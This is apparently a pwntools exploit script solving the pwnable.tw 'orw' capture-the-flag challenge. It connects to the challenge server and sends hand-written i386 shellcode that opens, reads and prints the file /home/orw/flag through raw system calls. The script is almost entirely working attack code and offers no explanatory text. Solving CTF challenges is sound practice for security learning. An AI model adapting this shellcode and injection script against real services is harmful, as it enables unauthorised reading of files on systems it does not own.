1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * from struct import pack from LibcSearcher import * from ae64 import AE64 import base64 from ctypes import *
try: p = remote('chall.pwnable.tw', 10001) except: p = process('./pwn')
context(arch="i386",os="linux",log_level="debug") elf=ELF("/home/feichai/ctf_file/chal") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
shellcode=''' mov eax,0x5 xor ecx,ecx push ecx push 0x67616c66 push 0x2f2f2f77 push 0x726f2f65 push 0x6d6f682f mov ebx,esp xor ecx,ecx xor edx,edx int 0x80
mov eax,0x3 mov ecx, ebx mov ebx, 0x3 mov edx, 0x50 int 0x80
mov eax,0x4 mov ebx,0x1 mov edx,0x50 int 0x80 '''
def pwn(): p.sendlineafter('shellcode:', asm(shellcode)) p.interactive()
if __name__=='__main__': pwn()
|